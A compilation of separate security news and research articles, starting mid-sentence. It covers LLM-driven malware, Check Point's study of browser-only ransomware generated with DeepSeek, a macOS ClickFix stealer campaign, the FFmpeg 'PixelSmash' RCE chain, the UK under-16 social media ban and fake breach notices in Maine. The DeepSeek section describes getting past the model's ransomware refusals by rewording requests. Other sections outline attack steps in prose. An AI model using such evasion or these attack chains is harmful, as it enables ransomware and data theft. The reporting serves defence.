stolen credentials through LLMjacking, the cost to an attacker is close to zero." AI Malware That Uses LLM in a Codeless Attack The findings also follow the discovery of an AI malware that brings together a Telegram bot with a public LLM API to devise a codeless attack. Once launched, the implant transmits basic details about the compromised system to the attacker's Telegram bot and enters into a command-and-control (C2) loop that polls the bot API every 5 seconds for new messages. The results of the command execution are exfiltrated back using the same channel. The speciality of this malware is that each operator message is forwarded to a public LLM API endpoint ("api.groq[.]com/openai/v1/chat/completions"), which then translates the natural language instructions provided by the attacker into its equivalent shell command. The artifact was uploaded to the VirusTotal platform on March 11, 2026, and has zero detections across all engines to date. "This work introduces an LLM translation layer that replaces shell syntax with plain text. The attacker types plaintext instructions in Telegram," Palo Alto Networks Unit 42 said. "The LLM translates the instructions into shell commands. And the victim executes the shell commands. No command-line knowledge is required."

Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique July 1, 2026 Research by: Alexey Bukhteyev Key Takeaways AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns. In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories. The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome. The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android. Introduction Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code. As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude. DeepSeek then becomes particularly relevant in this context for several reasons: Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article. Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation. End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components. Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeekmodels can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms. Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser. The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application. The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity. A Noisy Sample With One Important Idea The sample that caught our attention is SHA256 07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel. We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser. The victim-facing page is disguised as a Discord avatar AI upscaler: Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data. Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model. In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt. Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential. The generated JavaScript referenced: showOpenFilePicker(); showDirectoryPicker(); recursive traversal of a user-selected directory; reading selected files through browser file handles; sending file contents to the Flask backend; displaying a ransomware-style warning after the interaction. The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls. The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments. The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files. The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential. Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons: The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions. Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful. Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows. From Hallucinated Scaffold to Working PoC Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept. When prompted directly to create ransomware, the model consistently refused across all tested modes. Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content. In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files. In Expert mode, the behavior was inconsistent across attempts: several attempts ended in refusal; one generated a non-functional sample; one generated a fully working browser-based ransomware PoC. One response was especially notable because the model described the result as: “a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors” This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation. For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API. This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually. In-Browser Ransomware on Android To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler. On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers. At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for. However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application. On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory. On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder. The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory. Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API. The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access. Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data. Practical Recommendations for Users While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse: Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request. Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library. Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation. Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques. Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access. Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files. Conclusion LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration. This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic. Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique. In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API. This illustrates a broader risk: A non-expert attacker does not need to know that such an API exists or how to abuse it. By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities. The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing. In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild. Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized. At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible. “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

A new macOS ClickFix campaign is using Terminal commands to silently download, mount, and launch info-stealing malware from malicious disk image (DMG) files. The campaign is infecting Mac devices with the Atomic macOS Stealer (AMOS) infostealer, which steals browser credentials, cryptocurrency wallet data, Keychain data, messaging app information, and user documents. Researchers at Palo Alto Networks Unit 42 first discovered the campaign and say it begins with a fake CAPTCHA page that tells users to open Terminal and paste a malicious command to verify themselves. Once executed, the command downloads a DMG file from an attacker-controlled server, silently mounts it with macOS's native hdiutil utility, locates the application bundle it contains, and launches it automatically. ClickFix is a social engineering technique that displays fake CAPTCHAs, browser errors, or system alerts to trick visitors into copying and executing attacker-supplied "fix instructions." The technique has grown in popularity among threat actors in the past year and has been used by both cybercriminals and state-sponsored hacking groups to distribute malware. While ClickFix attacks involving DMGs are not new, previous campaigns typically relied on users manually opening downloaded DMG files to launch malicious applications or execute scripts from attacker-controlled servers. The campaign spotted by Palo Alto combines both approaches by using a Terminal command to quietly download a DMG file and launch the malware it contains. After running the Terminal command, the attack downloads a malicious DMG from svs-verificationdate[.]beer using curl with the quiet "-fsSL" flags and saves it to the /tmp folder under a random filename. The command then executes 'hdiutil attach -nobrowse' to mount the downloaded disk image without displaying it in Finder or on the desktop. The script then searches up to three directory levels deep for the first available .app or .pkg installer, and if one is found, launches it using the macOS open command. Researchers observed the malware being delivered as a disk image named "s.01M0td.dmg," which mounted a volume containing a self-signed application bundle named "NNApp.app." This payload is part of the Atomic macOS Stealer family, which is used to steal credentials, browser history, authentication tokens, and cryptocurrency wallets from infected devices. The stealer will display a fake System Preferences authentication prompt that asks the user to enter their password, allowing the malware to steal it. According to the researchers, the malware targets eight Chromium-based browsers, including Google Chrome, Microsoft Edge, Brave, Opera, Arc, Vivaldi, CocCoc, and Yandex. It steals cookies, login databases, autofill information, stored payment cards, and browser profile data. The stealer also targets Firefox-derived browsers, including LibreWolf, SeaMonkey, Tor Browser, Waterfox, and Zen Browser, stealing the same information. Palo Alto says the malware searches for and steals cryptocurrency wallet data, including Exodus, Electrum, Atomic Wallet, Wasabi Wallet, Bitcoin Core, Litecoin Core, DashCore, Guarda, Binance Wallet, Dogecoin Wallet, and TonKeeper. The malware also steals Telegram Desktop and Discord data, Apple Notes databases, Safari cookies, Apple Keychain database files, and user documents with the PDF, TXT, or RTF extensions. All harvested data is then stored in a ZIP archive and uploaded to the attacker's server, where the attacker can retrieve it. Of particular interest, the researchers found that the malware will replace legitimate installations of Ledger Live and Trezor Suite with malicious versions, likely to perform crypto theft. The campaign was observed using command-and-control servers at svs-verificationdate[.]beer and 196.251.107[.]171. As a general rule, users should always be cautious when websites instruct them to open Terminal and execute commands. This is especially true when they claim to be part of CAPTCHA verifications, browser fixes, or other troubleshooting steps. If you do not 100% understand what a command does, do not run it. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A newly disclosed FFmpeg flaw dubbed 'PixelSmash' could be exploited for remote code execution on Jellyfin servers under certain conditions, and can also trigger a denial-of-service condition in applications like Kodi, Emby, Nextcloud, PhotoPrism, and OBS Studio. The vulnerability is tracked as CVE-2026-8461 and is a heap out-of-bounds write in the MagicYUV decoder. It received a high-severity score of 8.8 and can be leveraged via a malicious video file in AVI, MKV, or MOV format. Any application that uses libavcodec, FFmpeg’s core library for video decoding and encoding, is considered vulnerable. However, exploitation for remote code execution (RCE) is possible if the Address Space Layout Randomization (ASLR) defense is disabled or by chaining another vulnerability to defeat the protection. Root cause and impact Researchers at software supply-chain security company JFrog say that PixelSmash stems from the way MagicYUV processes slices, independent regions of a video frame that can be decoded separately from the rest of the image. "The vulnerability is a one-row heap buffer overflow in the MagicYUV decoder’s slice handling, caused by an inconsistency between how the frame allocator and the decoder compute chroma plane heights," JFrog explains. PixelSmash can be triggered when the user opens AVI, MKV, or MOV video files, browses a directory containing the file (via thumbnail generation), or runs any automated media ingestion workflow. JFrog found that multiple popular media applications, such as Kodi, OBS Studio, PhotoPrism, and GNOME/KDE/XFCE’s thumbnail generators, use FFmpeg with the MagicYUV decoder enabled, making them vulnerable to PixelSmash attacks. Slack, Discord, Telegram, and WhatsApp may also be susceptible to PixelSmash attacks, as they use FFmpeg to generate server-side video previews, but they were not tested. JFrog lead researcher Yuval Moravchick demonstrated that PixelSmash can be used for remote code execution on Jellyfin and Nextcloud (with Movie preview enabled) instances. “To demonstrate the real-world impact, we achieved full remote code execution against a Jellyfin 10.11.9 media server - the second-most popular self-hosted media server (after Plex) - through its normal media library scan pipeline,” JFrog says. “Attack path: a download of a crafted MagicYUV AVI into the media library -> Jellyfin automatically triggers ffprobe for metadata extraction -> the OOB write fires -> AVBuffer.free is hijacked to system() -> arbitrary command executes as the jellyfin service user.” However, Moravchick noted that the RCE exploit requires ASLR (Address Space Layout Randomization) to be disabled, and that CVE-2026-8461 alone does not bypass this memory protection. In theory, a separate information-disclosure bug in FFmpeg's FlashSV decoder could be chained with PixelSmash to bypass ASLR. Another attack scenario is via torrent downloads and requires no user interaction. The researchers say that an attacker could seed a malicious video that targets Jellyfin users who point the download to the application's media library folder. "Jellyfin’s real-time file system monitor detects the new file and automatically triggers an ffprobe metadata scan. The exploit fires during the scan - AVBuffer.free is hijacked to system(), and the attacker’s reverse shell command executes as the jellyfin service user" Even when RCE is prevented or impossible, the CVE-2026-8461 vulnerability should be sufficient to reliably achieve a denial-of-service (DoS) condition on vulnerable targets. The researchers found that Plex, the massively popular media server, uses a custom FFmpeg build in which decoders are disabled and a minimal allowlist is in effect, effectively mitigating the PixelSmash risk. Apart from FFmpeg releasing version 8.1.2, which fixes the flaw, Jellyfin also updated its bundled FFmpeg version, and PhotoPrism is working to add a file format blocklist to prevent potential exploitation. The Nextcloud team received the report via HackerOne, but declined to address the flaw because it exists outside of Nextcloud. JFrog discovered PixelSmash (CVE-2026-8461) and reported it to the FFmpeg security team on May 13. The developer addressed the issue in version 8.1.2, released on June 17. The researchers warn that PixelSmash has a huge attack surface because the MagicYUV decoder is present in hundreds of projects that "trust FFmpeg to handle untrusted input safely," turning the vulnerability into a supply-chain problem. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The UK government will ban under-16s from social media, with regulations due before Christmas and the rules taking effect in spring 2027. To enforce it, platforms must age-check their users. In practice that means anyone opening a new account will likely have to prove they're over 16 by uploading an ID or passing a facial age scan, the same checks that adult sites serving UK visitors have implemented since July 2025 under the Online Safety Act. Long-standing accounts are largely exempt, but signing up fresh now triggers verification, effectively ending anonymous account creation in the UK. Security and privacy experts warn the checks are easy to circumvent, put everyone's ID and biometric data at risk of breaches, and were rushed in with little political scrutiny. The announcement Prime Minister Keir Starmer set out the plan on June 15, following a national consultation that drew more than 116,000 responses from parents, children and experts. The government says nine in ten parents backed an under-16 ban, and two-thirds of young people agreed that under-16s should be kept off at least some platforms. "That's why we're going further than any country in the world by banning social media for under-16s and putting wider protections in place to give kids their childhood back," Starmer said. "This is a line in the sand. Tech giants had their chance and failed." Technology Secretary Liz Kendall framed it as a fight with the platforms: "Tech companies have had countless opportunities to keep children safe, yet they have failed to act. That is why we are taking power away from the tech giants and putting it back in parents' hands." What's covered The ban is modelled on Australia's, which took effect in December 2025 and was the first of its kind. It will cover user-to-user platforms "whose purpose is to enable social interaction" and that run algorithmic feeds. The government names Instagram, YouTube, TikTok, Snapchat, Facebook and X. Messaging services such as WhatsApp and Signal are explicitly excluded, as is YouTube Kids. There will be a narrowly defined exemption list for educational services, e-commerce and music streaming. The UK says it will go further than Australia. High-risk features, such as livestreaming and strangers being able to contact children, will be restricted across a wider range of services, including gaming sites like Roblox (the platform stays, but features such as chat get locked down). To avoid a "cliff-edge at 16," those stranger-contact and livestreaming restrictions will be on by default for 16- and 17-year-olds too. Separately, AI "romantic companion" chatbots that simulate sexual or roleplay relationships will have to enforce an 18+ minimum, with intimate functions restricted for under-18s on AI chatbots more broadly. The government is also consulting on overnight curfews and breaks in infinite scrolling for under-18s, with detail promised in July. The catch for adults: it's the new accounts The government's reassurance is that most adults won't face a fresh check. According to a fact sheet, an account is treated as low-risk if it has been open for more than 16 years, has a credit card attached, or is linked to an email already age-verified elsewhere. Anyone who's already verified under the existing Online Safety Act wouldn't need to do it again. But that carve-out is essentially a grandfather clause, and it does nothing for new accounts. If you create a social media account from scratch after the rules land—say you want a fresh, pseudonymous handle, or you're simply a new user—none of those passive signals apply, and the fallback is exactly what the fact sheet describes: a facial recognition check, or an ID upload. In practice the regime quietly converts what's billed as child protection into a rule that no adult can open a new account without proving their age. It's a lighter touch than the adult-content regime, for now. Since July 25, 2025, the Online Safety Act has required adult and other sensitive sites to run "highly effective" age checks (typically an ID upload or a facial-age selfie) for every user, with no grandfathering. Enforcement has also been aggressive. By February 2026, Ofcom had opened investigations into more than 90 platforms and issued six fines, and its remit had stretched to Reddit, X, Discord, Bluesky and AI services. The social media age-gate doesn't go that far yet, but it normalises the same plumbing. Ofcom has been asked to run a rapid study on how to verify whether someone is over 16. The aforementioned fact sheet also notes proving you're over 18 "could be as simple as a facial recognition check." The VPN loophole The well-documented weakness is that a VPN defeats all of it. The Online Safety Act targets sites, not users, so connecting through a server outside the UK sidesteps the check. Some VPN providers reported signup spikes of up to 1,800% when adult-site enforcement began. Any social media age-gate inherits the same gap, and Australia's experience bears it out. Research there found more than 60% of children were still using social media months after that country's ban. The UK government has limited room to close the loophole. A blanket VPN ban for the whole population has been ruled out. In October 2025 a tech minister, Baroness Lloyd, told the Lords there were "no current plans to ban the use of VPNs," citing their legitimate uses. A children-specific clampdown is a different story. In February 2026 the government said its wellbeing consultation would examine "options to age restrict or limit children's VPN use," and in January 2026 the House of Lords inflicted a government defeat, voting 207 to 159 for an amendment to the then Children's Wellbeing and Schools Bill that would require ministers to prohibit VPN providers from serving UK children. To sort children from adults, that measure would in practice force providers to age-check every user. The amendment drew public petitions against it. The Commons rejected it across several rounds of parliamentary 'ping-pong,' and the Act that received Royal Assent (became law) in April instead handed ministers a broad power to restrict children's online access by regulation. For now, nothing stops a determined adult, or a determined 15-year-old, from getting around it. What security and privacy researchers are saying The cybersecurity objection isn't to the goal, but that the enforcement mechanism creates new risks while the controls themselves don't hold up. Dr. Siamak Shahandashti, a senior lecturer in cyber security and privacy at the University of York, pointed to fresh empirical work from Politecnico di Milano testing age-verification methods deployed on adult sites. The researchers found low-to-medium robustness for nearly every method except credit-card checks. Most could be bypassed with tools and know-how within reach of "motivated minors." Their blunt conclusion, which Shahandashti quoted: mandated age verification currently functions as "compliance theatre." He added that checks linked to real, physical ID could be made robust enough if clear standards were set. Dr. Richard Gomer, a lecturer in computer science at the University of Southampton, zeroed in on the second-order risk. Enforcing an under-16 ban means age-gating everyone, and that process is itself dangerous. Handing a passport or driving licence to platforms, he warned, exposes people to identity theft or blackmail when those records inevitably leak, something already seen under the Online Safety Act rollout. He also flagged the quieter cost of the regulation pushing the web further from its original ideals of anonymous, open communication. That data-breach risk is not hypothetical either. Responding to the ban, the Open Rights Group (ORG) warned that over-16s will now have to surrender identity documents or biometric data to unregulated age-verification companies, pointing to Discord as a platform that already suffered a major data leak after introducing age checks. James Baker, who runs ORG's Platform Power and Freedom of Expression programme, argues the measures chase symptoms rather than the cause, namely the engagement-driven business models that reward harmful content, and has previously warned that the underlying powers were "rushed through without proper time for political scrutiny." Platforms aren't on side either. Meta and YouTube both argue that bans push teenagers toward less-regulated spaces rather than making them safer, with Meta making the case that age checks should sit on the device so users aren't handing ID to every service separately. The wider direction of travel It's worth noting where this sits. Since January 2025 the government has been building a GOV.UK Wallet and a digital driving licence, pitched partly as a way to prove your age online and in person using the facial-recognition features built into modern phones. That's separate from this announcement and predates it. But together they sketch a direction of travel, where proving your age is increasingly a precondition for being online in the UK. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Maine closes data breach portal to the public after fake reports A widely used data breach reporting portal published by the state of Maine was closed to the public after two fake breach notices were posted. One of the bogus notices appeared on Thursday under the name of a nonexistent VRChat employee and reportedly claimed 2.4 million customers of the virtual reality social platform were breached. The breach report was submitted on fake VRChat letterhead, the company said. A fake breach notice also was posted for Discord. Maine is still allowing companies to report breaches, but won’t make the portal easily available to the public until after it completes an audit of its procedures to stop such incidents, according to a press release from the Maine attorney general’s office. Members of the public can contact the office to inquire about “existing reports” of breaches, the press release said. Calling the notices “hoaxes,” the press release said the fake reports have been removed and that the office has “no knowledge of any recent legitimate data breach reports” from either company. “We are reviewing our procedures to make this abuse less likely in the future while preserving the public availability of such information,” the press release said. “The public-facing database will remain offline until then.” The Maine reporting portal has been a valuable resource for security researchers, reporters and companies working in threat intelligence and lack of public access to it could have an impact on those communities. The portal was easy to abuse — it has historically allowed companies to add notices to the site without review. Additional fraudulent notices may have been posted, but Maine only announced Discord and VRChat as victims. VRChat issued a statement saying that Maine was not quick to respond to its request that the fake notice be removed. “Despite our best efforts, this notice remained up for several hours,” the statement said. “We want to make it perfectly clear that we have no reason to believe that our data and systems were compromised, and we did not submit any official notice about a data breach.” News of the fake posting was first reported by Bleeping Computer. VRChat and Discord did not respond to requests for comment. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.

